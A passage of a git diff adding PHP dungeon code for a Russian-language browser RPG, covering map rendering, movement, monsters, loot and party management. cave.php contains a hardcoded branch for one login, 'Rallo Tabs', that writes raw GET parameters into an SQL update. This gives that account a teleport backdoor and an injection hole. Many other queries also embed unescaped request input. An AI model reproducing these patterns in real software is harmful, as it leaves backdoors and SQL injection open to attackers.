    + target=_blank title="Информация о ">/ Выгнать из группы Передать лидерство
    +"; + +if($mir['dead']>'0'){print"
      Кол-во смертей: ".$mir['dead']."

    ";} + +include "podzem_res.php"; +?> +
    + +
    + + +
    + +
    + + + + + + + + + + + + diff --git a/canalization_mod.php b/canalization_mod.php new file mode 100644 index 0000000..b2cdf50 --- /dev/null +++ b/canalization_mod.php @@ -0,0 +1,195 @@ +'; +if($step4['left']) $s.='
    '; +if($step4['right']) $s.='
    '; +if(!$step4['right']) $s.='
    '; + +if(!$step3['right']) $s.='
    '; +if($step3['right']) {$s.='
    ';} +if($step3['left']) {$s.='
    ';} +if(!$step3['left']) {$s.='
    ';} + +if(!$step2['right']) {$s.='
    ';} +if($step2['right']) {$s.='
    ';} +if($step2['left']) $s.='
    '; +if(!$step2['left']) $s.='
    '; + +if(!$step1['right']){$s.='
    ';} +if($step1['right']) {$s.='
    ';} +if($step1['left']) {$s.='
    Этаж 1 - Канализация
    ';} +if(!$step1['left']) {$s.='
    Этаж 1 - Канализация
    ';} + +///////stenq//////// +if(!$step4['fwd']) $s.='
    '; +if(!$step3['fwd']) $s.='
    '; +if(!$step2['fwd'])$s.='
    '; +if(!$step1['fwd']) $s.='
    '; + +include"podzem_mod.php"; + + return $s; +} + +function next_step($location, $vector) { + global $rhar; + $row=intval(substr($location, 0, 1)); + $col=intval(substr($location, 1)); + $cell=array(); + // fwd + $c=$col;$r=$row; + if($vector==90) {$c=$col+1;} + elseif($vector==180) {$r=$row-1;} + elseif($vector==270) {$c=$col-1;} + else {$r=$row+1;} + $cell['fwd']=$r.$c; + if($r>9 or $r<0 or $c>9 or $c<0 or !in_array($cell['fwd'], $rhar[$location])) {$cell['fwd']=false;} + + // left + $c=$col;$r=$row; + if($vector==90) {$r=$row+1;} + elseif($vector==180) {$c=$col+1;} + elseif($vector==270) {$r=$row-1;} + else {$c=$col-1;} + $cell['left']=$r.$c; + if($r>9 or $r<0 or $c>9 or $c<0 or !in_array($cell['left'], $rhar[$location])) {$cell['left']=false;} + // right + $c=$col;$r=$row; + if($vector==90) {$r=$row-1;} + elseif($vector==180) {$c=$col-1;} + elseif($vector==270) {$r=$row+1;} + else {$c=$col+1;} + $cell['right']=$r.$c; + if($r>9 or $r<0 or $c>9 or $c<0 or !in_array($cell['right'], $rhar[$location])) {$cell['right']=false;} + // back + $c=$col;$r=$row; + if($vector==90) {$c=$col-1;} + elseif($vector==180) {$r=$row+1;} + elseif($vector==270) {$c=$col+1;} + else {$r=$row-1;} + + $cell['back']=$r.$c; + if($r>9 or $r<0 or $c>9 or $c<0 or !in_array($cell['back'], $rhar[$location])) {$cell['back']=false;} + return $cell; +} + +////////////// +} +?> \ No newline at end of file diff --git a/cave.php b/cave.php new file mode 100644 index 0000000..6416f4d --- /dev/null +++ b/cave.php @@ -0,0 +1,1405 @@ + "Рудник"); + +if($user["login"] == "Rallo Tabs") { + if(isset($_GET['goto'])) { + mysql_query("UPDATE `caveparties` SET `x` = '$_GET[x]', `y` = '$_GET[y]', `floor` = '$_GET[floor]' WHERE `caveparties`.`user` = $user[id] LIMIT 1"); + header('Location: cave.php'); + exit(); + } + header("Content-Type: text/html; charset=utf-8"); +} + +if($user['battle'] > 0) { + header("location: fbattle.php"); + die(); +} + +$objsizes = array(0 => array(0, 0), 1 => array(120, 60), 2 => array(120, 60), 3 => array(120, 60), 4 => array(110, 72), 5 => array(120, 120)); + +$objdata[3][0] = array("wd"=>1.44, "ht"=>1.44, "y"=>1, "x"=>176); +$objdata[3][1] = array("coef"=>1, "y"=>202, "x"=>176); +$objdata[1][1] = array("coef"=>1, "y"=>202, "x"=>-65); +$objdata[5][1] = array("coef"=>1, "y"=>202, "x"=>435); +$objdata[3][2] = array("coef"=>0.67, "y"=>162, "x"=>176); +$objdata[1][2] = array("coef"=>0.67, "y"=>162, "x"=>18); +$objdata[5][2] = array("coef"=>0.67, "y"=>162, "x"=>342); +$objdata[3][3] = array("coef"=>0.50, "y"=>141, "x"=>176); +$objdata[1][3] = array("coef"=>0.50, "y"=>141, "x"=>50); +$objdata[5][3] = array("coef"=>0.50, "y"=>141, "x"=>300); +$imgdata[3][0] = array("wd"=>173, "ht"=>317, "y"=>1, "x"=>array(-37, 89, 215)); +$imgdata[3][1] = array("wd"=>87, "ht"=>161, "y"=>41, "x"=>array(68, 132, 196)); +$imgdata[1][1] = array("wd"=>87, "ht"=>161, "y"=>41, "x"=>array(-171, -44, -44)); +$imgdata[5][1] = array("wd"=>87, "ht"=>161, "y"=>41, "x"=>array(308, 308, 435)); +$imgdata[3][2] = array("wd"=>58, "ht"=>107, "y"=>55, "x"=>array(104, 147, 189)); +$imgdata[1][2] = array("wd"=>58, "ht"=>107, "y"=>55, "x"=>array(-56, 29, 29)); +$imgdata[5][2] = array("wd"=>58, "ht"=>107, "y"=>55, "x"=>array(264, 264, 350)); +$imgdata[3][3] = array("wd"=>44, "ht"=>81, "y"=>61, "x"=>array(122, 154, 186)); +$imgdata[1][3] = array("wd"=>44, "ht"=>81, "y"=>61, "x"=>array(1, 65, 65)); +$imgdata[5][3] = array("wd"=>44, "ht"=>81, "y"=>61, "x"=>array(242, 242, 306)); + +$eventdata[3][1] = array("x" => 176, "y" => 200, "q" => 1); +$eventdata[3][2] = array("x" => 176, "y" => 149, "q" => 0.66); +$eventdata[1][2] = array("x" => 16, "y" => 149, "q" => 0.66); +$eventdata[5][2] = array("x" => 335, "y" => 149, "q" => 0.66); +$eventdata[3][3] = array("x" => 176, "y" => 133, "q" => 0.5); +$eventdata[1][3] = array("x" => 56, "y" => 133, "q" => 0.5); +$eventdata[5][3] = array("x" => 296, "y" => 133, "q" => 0.5); + +$objects = array(1 => "Спуск", 2 => "Спуск", 3 => "Спуск", 4 => "Сундук", 5 => "Спуск"); +$events = array(); +$dialogs = array(); +$noautoexit = 0; + +function usagesleft($x, $y) { + global $map; + $cell = explode("/", $map[$y*2][$x*2]); + return $cell[3]; +} + +function takeusage($x, $y) { + global $map; + $cell = explode("/", $map[$y*2][$x*2]); + $cell[3]--; + $map[$y*2][$x*2] = implode("/", $cell); + updmap(); +} + +function makedeath() { + global $user, $floor, $loses, $x, $y, $dir; + include("cavedata.php"); + if(!isset($cavedata[$user['room']]['x'.$floor])) { + $floor = 1; + loadmap(); + } + mysql_query("UPDATE `caveparties` SET `floor` = $floor, `x` = '".$cavedata[$user['room']]['x'.$floor]."', `y` = '".$cavedata[$user['room']]['y'.$floor]."', `dir` = '".$cavedata[$user['room']]['dir'.$floor]."', `loses` = (`loses`+1) WHERE `user` = '$user[id]' LIMIT 1"); + mysql_query('UPDATE `users` SET `hp` = 1 WHERE `id` = "'.$user['id'].'" LIMIT 1'); + $x = $cavedata[$user['room']]['x'.$floor]; + $y = $cavedata[$user['room']]['y'.$floor]; + $dir = $cavedata[$user['room']]['dir'.$floor]; + updparties(); + $loses++; +} + +function pickupitem($item, $foronetrip, $notmore1, $incave = 0, $podzem = 1, $destiny = 0) { + global $user; + if($notmore1) { + $i = mysql_fetch_assoc(mysql_query("SELECT `id` FROM `inventory` WHERE `prototype` = '$item' AND `owner` = '$user[id]' LIMIT 1")); + if(isset($i['id'])) { + return "Вы уже получили здесь всё необходимое."; + } + } + $flds = array('podzem' => 1, 'podzem' => $podzem); + if($incave) { + $flds['incave'] = 1; + } + $taken = takeshopitem($item, 'shop', '', $foronetrip, $destiny, $flds); + return "Вы получили $taken[name]"; +} + +function itemtofloor($item, $foronetrip, $incave = 0, $podzem = 1, $from = 'shop', $small = 0) { + global $user, $x, $y, $floor; + $rec = mysql_fetch_array(mysql_query("SELECT `name`, `img` FROM `$from` WHERE `id` = '$item' LIMIT 1")); + mysql_query("INSERT INTO `caveitems` SET `leader` = '$user[caveleader]', `name` = '$rec[name]', `img` = '$rec[img]', `small` = '$small', `x` = '".($x*2)."', `y` = '".($y*2)."', `floor` = '$floor', `item` = '$item', `foronetrip` = '$foronetrip', `incave` = '$incave', `podzem` = '$podzem'"); + return "Вы нашли $rec[name]."; +} + +function makeinjury() { + global $user, $floor, $noautoexit, $loses, $x, $y, $dir; + settravma($user['id'], 20, rand(1, 600), 1, 1); + makedeath(); + $noautoexit = 1; +} + +function cavewall($w) { + if($w < 100) { + return floor($w/10); + } else { + return floor($w/1000)+100; + } +} + +function passablewall($n) { + if($n == 0 || $n == 31) { return true; } + return false; +} + +function canmoveto($cell, $freecell = 0, $passing = 0) { + if(!passablewall($passing)) { return false; } + $obj = substr($cell, 0, 1); + if($obj == "e" || $obj == "u" || $obj == "s" || $obj == "p") { return true; } + if(!$freecell && $cell) { return false; } + if($cell == $freecell) { return true; } + return false; +} + +function gotoxy($tox, $toy, $tofloor = 0, $msg = '') { + global $map, $x, $y, $floor, $user; + $floor1 = $floor; + $upd = ""; + if($tox) { + $tox = $tox/2; + if($upd) { $upd .= ", "; } + $upd .= " `x` = '$tox'"; + $x = $tox; + } + if($toy) { + $toy = $toy/2; + if($upd) { $upd .= ", "; } + $upd .= " `y` = '$toy'"; + $y = $toy; + } + if($tofloor && $tofloor != $floor) { + if($upd) { $upd .= ", "; } + $upd .= " `floor` = '$tofloor'"; + $floor = $tofloor; + } + mysql_query("UPDATE `caveparties` SET $upd WHERE `user` = '$user[id]' LIMIT 1"); + if($tofloor && $tofloor != $floor1) { + $map = mysql_fetch_assoc(mysql_query("SELECT `map` FROM `caves` WHERE `leader` = '$user[caveleader]' AND `floor` = '$floor' LIMIT 1")); + $map = unserialize($map); + } + updparties(); + if($msg) { + header("Location: ".$_SERVER['PHP_SELF'].($msg ? '?msg='.$msg : '' )); + exit(); + } +} + +function updparties() { + global $user, $x, $y, $floor, $dir, $party; + foreach ($party as $k => $v) { + if($v['user'] == $user['id']) { + $party[$k]['dir'] = $dir; + $party[$k]['x'] = $x; + $party[$k]['y'] = $y; + $party[$k]['floor'] = $floor; + } + } +} + +function loadmap() { + global $user, $map, $floor; + $map = mysql_fetch_array(mysql_query("SELECT `map` FROM `caves` WHERE `leader` = '$user[caveleader]' AND `floor` = '$floor' LIMIT 1")); + $map = unserialize($map['map']); +} + +if(!in_array($user['room'], $caverooms)) { + header("Location: main.php"); + die('Not in this life ...'); +} + +if(isset($_GET['direction'])) { + $dir = (int)$_GET['direction']; + if($dir >= 0 && $dir <= 3) { + mysql_query("UPDATE `caveparties` SET `dir` = '$dir' WHERE `user` = '$user[id]' LIMIT 1"); + } +} + +$party = array(); +$r = mysql_query("SELECT `user`, `x`, `y`, `dir`, `login`, `shadow`, `floor`, `loses` FROM `caveparties` WHERE `leader` = '$user[caveleader]' ORDER BY `id` DESC"); +while($rec = mysql_fetch_assoc($r)) { + if($rec['user'] == $user['id']) { + $x = $rec['x']; + $y = $rec['y']; + $dir = $rec['dir']; + $floor = $rec['floor']; + $loses = $rec['loses']; + } + $party[] = $rec; +} + +if($user['room'] == 621) { + $base = "/underdesigns/alchcave"; +} + +$maxloses = 3; +if($loses >= $maxloses && !$noautoexit) { $_GET['exit'] = 1; } + +if(@$_GET['kill'] && $user['id'] == $user['caveleader'] && $_GET['kill'] != $user['login']) { + foreach($party as $k => $v) { + if($v['login'] == $_GET['kill']) { + mysql_query("DELETE FROM `caveparties` WHERE `user` = '$v[user]'"); + mysql_query("UPDATE `users` SET `room` = (`room`-1), `caveleader` = 0 WHERE `id` = '$v[user]' LIMIT 1"); + $r = mysql_query("SELECT `id`, `dressed` FROM `inventory` WHERE `owner` = '$v[user]' AND `dressed` = 1 AND `foronetrip` = 1"); + if(mysql_num_rows($r) > 0) { + $usr = mysql_fetch_array(mysql_query("SELECT ".implode(",", $userslots)." FROM `users` WHERE `id` = '$v[user]'")); + } + while($rec = mysql_fetch_assoc($r)) { + $slot = getslot($rec['id'], $usr); + if($slot) { + dropitemid(0, $v['user'], $slot); + } + } + mysql_query("DELETE FROM `inventory` WHERE `owner` = '$v[user]' AND `foronetrip` = 1"); + unset($party[$k]); + $report = "Персонаж $v[login] исключён из похода."; + break; + } + } + if(!@$report) { + $report="Персонаж $_GET[kill] не найден."; + } +} + +if($_GET['change'] && $user['id'] == $user['caveleader'] && $_GET['change'] != $user['login']) { + foreach($party as $k => $v) { + if($v['login'] == $_GET['change']) { + mysql_query("LOCK TABLES `users` WRITE, `caveparties` WRITE, `cavebots` WRITE, `caves` WRITE, `caveitems` WRITE"); + mysql_query("UPDATE `users` SET `caveleader` = '$v[user]' WHERE `caveleader` = '$user[id]'"); + mysql_query("UPDATE `cavebots` SET `leader` = '$v[user]' WHERE `leader` = '$user[id]'"); + mysql_query("UPDATE `caves` SET `leader` = '$v[user]' WHERE `leader` = '$user[id]'"); + mysql_query("UPDATE `caveparties` SET `leader` = '$v[user]' WHERE `leader` = '$user[id]'"); + mysql_query("UPDATE `caveitems` SET `leader` = '$v[user]' WHERE `leader` = '$user[id]'"); + $user['caveleader'] = $v['user']; + $report = "Персонажу $v[login] присвоено лидерство."; + mysql_query("UNLOCK TABLES"); + break; + } + } + if(!@$report) { + $report = "Персонаж $_GET[change] не найден."; + } +} + + +if(@$_GET['useitem'] || @$_GET['usewallitem']) { + mysql_query("LOCK TABLES `effects` WRITE, `cavebots` WRITE, `battle` WRITE, `users` WRITE, `caveparties` WRITE, `caves` WRITE, `shop` WRITE, `inventory` WRITE, `bots` WRITE, `caveitems` WRITE"); +} + +loadmap(); + + +if(@$_GET['useitem']) { + if($dir == 0) { $tx = $x-1; $ty = $y; } + if($dir == 1) { $tx = $x; $ty = $y-1; } + if($dir == 2) { $tx = $x+1; $ty = $y; } + if($dir == 3) { $tx = $x; $ty = $y+1; } + if(@$_GET['useitem']) { + if(file_exists("underground/objects/$user[room].php")) { + include "underground/objects/$user[room].php"; + } + } + + list($t, $obj) = explode("/", $map[$ty*2][$tx*2]); + + if($t == "o") { + if($obj == 500) { + $report="В этот сундук уже кто-то заглядывал"; + } + } + mysql_query("UNLOCK TABLES"); +} + +function updmap() { + global $map, $user, $floor; + mysql_query("UPDATE `caves` SET `map` = '".serialize($map)."' WHERE `leader` = '$user[caveleader]' AND `floor` = '$floor' LIMIT 1"); +} + +if(@$_GET['usewallitem']) { + if($dir == 0) { $tx = $x*2-1; $ty = $y*2; } + if($dir == 1) { $tx = $x*2; $ty = $y*2-1; } + if($dir == 2) { $tx = $x*2+1; $ty = $y*2; } + if($dir == 3) { $tx = $x*2; $ty = $y*2+1; } + + $obj = $map[$ty][$tx]; + + if($obj == 18) { + $report = "Вы не обнаружили ничего интересного."; + } + if($obj == 19) { + $report = "Уже проверено, сюда лучше не лазить."; + } + mysql_query("UNLOCK TABLES"); +} + +$r = mysql_query("SELECT `id`, `bot`, `x`, `y`, `cnt`, `type`, `battle` FROM `cavebots` WHERE `leader` = '$user[caveleader]' AND `floor` = '$floor'"); +$mapbots = array(); +$ambushes = array(); +$cavedata = getcavedata($user['caveleader'], $floor); + +if(time()-$cavedata['wander'] > 21) { $wander = 1; } else { $wander = 0; } + +$wanderers = array(); +while($rec = mysql_fetch_assoc($r)) { + if($rec['type'] == 1 && $wander && $rec['battle'] == 0) { + $wanderers[] = $rec; + continue; + } + if(!@$mapbots[$rec['y']][$rec['x']]) { $mapbots[$rec['y']][$rec['x']] = "b"; } + if(($rec['type'] == 1 || $rec['type'] == 2) && $rec['battle'] == 0) { $ambushes[$rec['y']][$rec['x']] = 1; } + $mapbots[$rec['y']][$rec['x']] .= "/$rec[bot]/$rec[cnt]"; +} + +if($wander && !isset($_GET['attack'])) { + foreach($wanderers as $k => $v) { + $d = rand(0, 3); + for($i = 0; $i < 4; $i++) { + if($d == 0) { $tx = $v['x']-2; $ty = $v['y'];} + if($d == 1) { $tx = $v['x']; $ty = $v['y']-2;} + if($d == 2) { $tx = $v['x']+2; $ty = $v['y'];} + if($d == 3) { $tx = $v['x']; $ty = $v['y']+2;} + + if($user['room'] == 74 || $user['room'] == 76) { + if(strpos($map[$ty][$tx], 's/') !== false && !@$mapbots[$ty][$tx]) { + break; + } + } else { + if($map[$ty][$tx] == 2 && !@$mapbots[$ty][$tx]) { + break; + } + } + $d++; + if($d > 3) { + $d = 0; + } + } + if($i < 4) { + mysql_query("UDPATE `cavebots` set `x` = '$tx', `y` = '$ty' WHERE `id` = '$v[id]' LIMIT 1"); + $v['x'] = $tx; + $v['y'] = $ty; + } + if(!@$mapbots[$v['y']][$v['x']]) { + $mapbots[$v['y']][$v['x']] = "b"; + } + $ambushes[$v['y']][$v['x']] = 1; + $mapbots[$v['y']][$v['x']] .= "/$v[bot]/$v[cnt]"; + } + $cavedata['wander'] = time(); + savecavedata($cavedata, $user['caveleader'], $floor); +} + + +foreach($mapbots as $k => $v) { + foreach($v as $k2 => $v2) { + $map[$k][$k2] = $v2; + } +} + +$moved = 0; + +if(@$_GET['move'] && $_SESSION['movetime'] < time()) { + if($_GET['move'] == "x1" && canmoveto($map[$y*2][$x*2+2], 2, $map[$y*2][$x*2+1],2)) { + mysql_query("UPDATE `caveparties` SET `x` = (`x`+1) WHERE `user` = '$user[id]' LIMIT 1"); + $x++; + $moved=1; + } + if($_GET['move'] == "x2" && canmoveto($map[$y*2][$x*2-2], 2, $map[$y*2][$x*2-1])) { + mysql_query("UPDATE `caveparties` SET `x` = (`x`-1) WHERE `user` = '$user[id]' LIMIT 1"); + $x--; + $moved=1; + } + if($_GET['move'] == "y1" && canmoveto($map[$y*2+2][$x*2], 2, $map[$y*2+1][$x*2])) { + mysql_query("UPDATE `caveparties` SET `y` = (`y`+1) WHERE `user` = '$user[id]' LIMIT 1"); + $y++; + $moved=1; + } + if($_GET['move'] == "y2" && canmoveto($map[$y*2-2][$x*2], 2, $map[$y*2-1][$x*2])) { + mysql_query("UPDATE `caveparties` SET `y` = (`y`-1) WHERE `user` = '$user[id]' LIMIT 1"); + $y--; + $moved=1; + } + updparties(); + #$_SESSION['movetime'] = time()+5; + $_SESSION['movetime'] = time(); +} + +if($moved && (substr($map[$y*2][$x*2], 0, 1) === "e" || substr($map[$y*2][$x*2], 0, 1) === "p")) { + $tx = $x; + $ty = $y; + $tmp = explode("/", $map[$y*2][$x*2]); + if(file_exists("underground/events/$user[room].php")) { + include("underground/events/$user[room].php"); + } +} + +$ax = 0; $ay = 0; +if($ambushes[$y*2+2][$x*2] && $map[$y*2+1][$x*2] == 0) { $ax = $x; $ay = $y+1; } +if($ambushes[$y*2-2][$x*2] && $map[$y*2-1][$x*2] == 0) { $ax = $x; $ay = $y-1; } +if($ambushes[$y*2][$x*2+2] && $map[$y*2][$x*2+1] == 0) { $ax = $x+1; $ay = $y; } +if($ambushes[$y*2][$x*2-2] && $map[$y*2][$x*2-1] == 0) { $ax = $x-1; $ay = $y; } + +if($ax && $ay && $user['hp'] > 0) { + include_once("cavedata.php"); + if(!($cavedata[$user['room']]['x'.$floor] == $x && $cavedata[$user['room']]['y'.$floor] == $y)) { + if($ax < $x) { + $dir1 = 0; + } elseif($ax > $x) { + $dir1 = 2; + } elseif($ay < $y) { + $dir1 = 1; + } elseif($ay > $y) { + $dir1 = 3; + } + + if($dir != $dir1) { + $dir = $dir1; + mysql_query("UPDATE `caveparties` SET `dir` = '$dir' WHERE `user` = '$user[id]' LIMIT 1"); + foreach($party as $k => $v) { + if($v['user'] == $user['id']) { + $party[$k]['dir'] = $dir1; + } + } + } + $_GET['attack'] = 1; + } +} + +if(!$_SESSION['movetime']) { + #$_SESSION['movetime'] = time()+5; + $_SESSION['movetime'] = time(); +} + +if(@$_GET['takeitem']) { + $_GET['takeitem'] = (int)$_GET['takeitem']; + $it = mysql_fetch_array(mysql_query("SELECT `item`, `foronetrip`, `incave`, `podzem` FROM `caveitems` WHERE `leader` = '$user[caveleader]' AND `x` = '".($x*2)."' AND `y` = '".($y*2)."' AND `floor` = '$floor' AND `id` = '$_GET[takeitem]' LIMIT 1")); + + if(isset($it['item'])) { + $ms = mysql_fetch_assoc(mysql_query("SELECT `massa` AS `mass` FROM $shop WHERE `id` = '$it[item]' LIMIT 1")); + $shop = 'shop'; + if(!placeinbackpack(1, $user['id'])) { + $report = "У вас в рюкзаке слишком много предметов."; + } elseif(!cancarry($ms['mass'], $user)) { + $report = "Ваш рюкзак перегружен."; + } else { + $destiny = 0; + $taken = takeshopitem($it['item'], "$shop", "", $it['foronetrip'], $destiny, array("podzem" => $it["podzem"], "incave" => $it['incave']), 0, 1, "Нашёл в пещере"); + if(@$taken['error']) { + $report = $taken['error']; + } else { + mysql_query("DELETE FROM `caveitems` WHERE `leader` = '$user[caveleader]' AND `x` = '".($x*2)."' AND `y` ='".($y*2)."' AND `floor` = '$floor' AND `id` = '$_GET[takeitem]' LIMIT 1"); + $report = "Вы нашли $taken[name]."; + } + } + } else { + $report = "Кто-то оказался быстрее..."; + } +} + +if(@$_GET['speak']) { + if($dir == 0) { $x1 = $x*2-2; } elseif($dir == 2) { $x1 = $x*2+2; } else { $x1 = $x*2; } + if($dir == 1) { $y1 = $y*2-2; } elseif($dir == 3) { $y1 = $y*2+2; } else { $y1 = $y*2; } + $cell = $map[$y1][$x1]; + $tmp = explode("/", $cell); + if($tmp[0] == "d") { + header("location: dialog.php?char=$tmp[2]"); + die(); + } + if($tmp[0] == "b" && isset($dialogs[$bots[$tmp[1]]])) { + header("location: dialog.php?char=".$bots[$tmp[1]]); + die(); + } +} + +if(@$_GET['attack']) { + if($dir == 0) { $by = $y*2; $bx = ($x-1)*2; } + if($dir == 1) { $by = ($y-1)*2; $bx = $x*2; } + if($dir == 2) { $by = $y*2; $bx = ($x+1)*2; } + if($dir == 3) { $by = ($y+1)*2; $bx = $x*2; } + + $r = mysql_query("SELECT `bot`, `cnt`, `battle` FROM `cavebots` WHERE `leader` = '$user[caveleader]' AND `x` = $bx AND `y` = $by AND `floor` = '$floor'"); + + $rec = mysql_fetch_assoc($r); + if($user['hp'] <= $user['maxhp']*0.33) { + $report = 'Вы слишком ослаблены для поединка'; + } elseif(isset($rec['bot'])) { + $btl = $rec['battle']; + if($btl > 0) { + battlewithbot($bots[$rec['bot']], "", "", 10, 0, 0, $btl); + } else { + $firstbot = $bots[$rec['bot']]; + $otherbots = array(); + $rec['cnt']--; + + while($rec['cnt'] > 0) { + $otherbots[] = array('id' => $bots[$rec['bot']], 'name' => $botnames[$rec['bot']]); + $rec["cnt"]--; + } + + while($rec = mysql_fetch_assoc($r)) { + while($rec['cnt'] > 0) { + $otherbots[] = array('id' => $bots[$rec['bot']], 'name' => $botnames[$rec['bot']]); + $rec['cnt']--; + } + } + $btl = battlewithbot($firstbot, "", "", 10, 0, 0, 0, $otherbots); + mysql_query("UPDATE `cavebots` SET `battle` = '$btl' WHERE `leader` = '$user[caveleader]' AND `x` = '$bx' AND `y` = $by AND `floor` = '$floor'"); + } + } +} + +if(@$_GET['exit']) { + if(count($party) == 1) { + mysql_query("DELETE FROM `cavebots` WHERE `leader` = '$user[id]'"); + mysql_query("DELETE FROM `caves` WHERE `leader` = '$user[id]'"); + mysql_query("DELETE FROM `caveparties` WHERE `leader` = '$user[id]'"); + mysql_query("DELETE FROM `caveitems` WHERE `leader` = '$user[id]'"); + mysql_query("UPDATE `users` SET `caveleader` = 0 WHERE `id` = '$user[id]' LIMIT 1"); + } else { + mysql_query("LOCK TABLES `users` WRITE, `caveparties` WRITE, `cavebots` WRITE, `caves` WRITE, `caveitems` WRITE, `diseases` WRITE, `caveeffects` WRITE"); + mysql_query("DELETE FROM `caveparties` WHERE `user` = '$user[id]'"); + mysql_query("UPDATE `users` SET `caveleader` = 0 WHERE `id` = '$user[id]' LIMIT 1"); + if($user['caveleader'] == $user['id']) { + foreach($party as $k => $v) { + if($v['user'] != $user['id']) { + mysql_query("UPDATE `users` SET `caveleader` = '$v[user]' WHERE `caveleader` = '$user[id]'"); + mysql_query("UPDATE `cavebots` SET `leader` = '$v[user]' WHERE `leader` = '$user[id]'"); + mysql_query("UPDATE `caves` SET `leader` = '$v[user]' WHERE `leader` = '$user[id]'"); + mysql_query("UPDATE `caveparties` SET `leader` = '$v[user]' WHERE `leader` = '$user[id]'"); + mysql_query("UPDATE `caveitems` SET `leader` = '$v[user]' WHERE `leader` = '$user[id]'"); + } + } + } + mysql_query("UNLOCK TABLES"); + } + $r = mysql_query("SELECT `id`, `dressed` FROM `inventory` WHERE `owner` = '$user[id]' AND `dressed` = 1 AND `foronetrip` = 1"); + while($rec = mysql_fetch_assoc($r)) { + $slot = getslot($rec['id']); + if($slot) { + dropitemid(0, $user['id'], $slot); + } + } + mysql_query("DELETE FROM `inventory` WHERE `owner` = '$user[id]' AND `foronetrip` = 1"); + gotoroom($user['room']-1); +} + +$standingon = $map[$y*2][$x*2]; +foreach($party as $k => $v) { + $map[$v['y']*2][$v['x']*2] = "u/".$v['user']; +} +?> + + + + + + + +
    + + +
    "; + + $i = 7; + $centerwall = 8; + while($i > 0) { + if($map[3][$i]) { + $centerwall = $i; + } + $i -= 2; + } + $i = 4; + + function drawbot($cell, $x, $y) { + global $botnames, $imgdata, $bots, $dialogs, $user, $floor; + $data = explode("/", $cell); + $i = 1; + $bc = (count($data)-1)/2; + while($data[$i]) { + $bot = $data[$i]; + $botname = $botnames[$bot]; + $cnt = $data[$i+1]; + if($i == 1) { + if($bc == 1) { + $bn = 1; + } else { + $bn = 0; + } + } elseif($i == 3) { + if($bc == 2) { + $bn = 2; + } else { + $bn = 1; + } + } else { + $bn = 2; + } + + $aMap = unserialize(mysql_result(mysql_query("SELECT `map` FROM `caves` WHERE `leader` = '$user[caveleader]' AND `floor` = '$floor'"), 0, 0)); + + if(!$GLOBALS['dir']) { + $xx = ($GLOBALS['x']*2) - ($y*2); + $yy = ($GLOBALS['y']*2) - ($x - 3); + } elseif($GLOBALS['dir'] == 1) { + $xx = ($GLOBALS['x']*2) + ($x - 3); + $yy = ($GLOBALS['y']*2) - ($y*2); + } elseif($GLOBALS['dir'] == 2) { + $xx = ($GLOBALS['x']*2) + ($y * 2); + $yy = ($GLOBALS['y']*2) + ($x - 3); + } else { + $xx = ($GLOBALS['x']*2) - ($x - 3); + $yy = ($GLOBALS['y']*2) + ($y * 2); + } + + if(strpos($aMap[$yy][$xx], 'o/') !== false || strpos($aMap[$yy][$xx], 'p/') !== false) { + $ret .= drawobject2($aMap[$yy][$xx], $x, $y); + } + + $rrm = $user['room']; + + if(isset($dialogs[$bots[$data[1]]]) && ($bots[$data[1]] == 11147 && $user['room'] == 74)) { + $ret .= " 1?" ($cnt)":"")."\" ".($y == 1 && $x == 3?"onclick=\"speakattackmenu(event);\"":"")." width=\"".$imgdata[$x][$y]["wd"]."\" height=\"".$imgdata[$x][$y]["ht"]."\" src=\"/i/dungeon/mobs/$rrm/$bot.gif\" style=\"position: absolute; left: ".$imgdata[$x][$y]["x"][$bn]."px; top: ".$imgdata[$x][$y]["y"]."px;".($x == 3 && $y == 1?"cursor: pointer;":"").($x == 3?"z-index: ".(99-($y*5)).";":"")."\" />"; + } else { + $ret .= " 1?" ($cnt)":"")."\" ".($y == 1 && $x == 3?" onclick=\"document.location.href='cave.php?attack=1';\"":"")." width=\"".$imgdata[$x][$y]["wd"]."\" height=\"".$imgdata[$x][$y]["ht"]."\" src=\"/i/dungeon/mobs/$rrm/$bot.gif\" style=\"position: absolute; left: ".$imgdata[$x][$y]["x"][$bn]."px; top: ".$imgdata[$x][$y]["y"]."px;".($x == 3 && $y == 1?"cursor: pointer;":"").($x == 3?"z-index: ".(99-($y*5)).";":"")."\" />"; + }#onclick=\"attackmenu(event);\" + $i += 2; + } + return $ret; + } + + function drawdialog($cell, $x, $y) { + global $dialogs, $imgdata; + $data = explode("/", $cell); + $i = 1; + $d = $data[2]; + $bot = $data[$i]; + $botname = $botnames[$bot]; + $cnt = $data[$i+1]; + $ret = ""; + return $ret; + } + + function drawuser($cell, $x, $y) { + global $botnames, $imgdata, $party; + $data = explode("/", $cell); + $i = 1; + $bc = (count($data)-1); + while($data[$i]) { + $u = $data[$i]; + if($i == 1) { + if($bc == 1) { + $bn = 1; + } else { + $bn = 0; + } + } elseif($i == 3) { + if($bc == 2) { + $bn = 2; + } else { + $bn = 1; + } + } else { + $bn = 2; + } + foreach($party as $k => $v) { + if($v['user'] == $u) { + $udata = $v; + break; + } + } + $ret .= ""; + $i++; + } + return $ret; + } + + function drawobject($cell, $x, $y) { + global $objects, $imgdata, $user, $objdata, $objsizes, $imgmap; + $tmp = explode("/", $cell); + $obj = $tmp[1]; + $ht = round($imgdata[$x][$y]["ht"]/2); + + if($objsizes[$obj]) { + $coef=$objdata[$x][$y]["coef"]; + $wd=$objsizes[$obj][0]*$coef; + $ht=$objsizes[$obj][1]*$coef; + $left=round($objdata[$x][$y]["x"]-($wd/2)); + $top=$objdata[$x][$y]["y"]-$ht; + } elseif($obj == 510) { + $wd=round($imgdata[$x][$y]["wd"]*2.5); + $ht=$imgdata[$x][$y]["ht"]; + $left=$imgdata[$x][$y]["x"][1]-round(($wd-$imgdata[$x][$y]["wd"])/2); + $top=$imgdata[$x][$y]["y"]; + } elseif ($obj > 600 && $obj < 700) { + $wd=round($imgdata[$x][$y]["wd"]*1.26); + $left=$imgdata[$x][$y]["x"][1]-round(($wd-$imgdata[$x][$y]["wd"])/2); + $top=$imgdata[$x][$y]["y"]+$ht; + } elseif($obj >= 700 && $obj < 800) { + $wd=round($imgdata[$x][$y]["wd"]*1.24); + $ht=$imgdata[$x][$y]["ht"]; + $left=$imgdata[$x][$y]["x"][1]-round(($wd-$imgdata[$x][$y]["wd"])/2); + $top=$imgdata[$x][$y]["y"]; + } else { + $wd=$imgdata[$x][$y]["wd"]; + $left=$imgdata[$x][$y]["x"][1]; + $top=$imgdata[$x][$y]["y"]+$ht; + } + $rrm = $user['room']; + if (!isset($imgmap[$obj])) { + + $ret .= " + ".($y == 1 && $x == 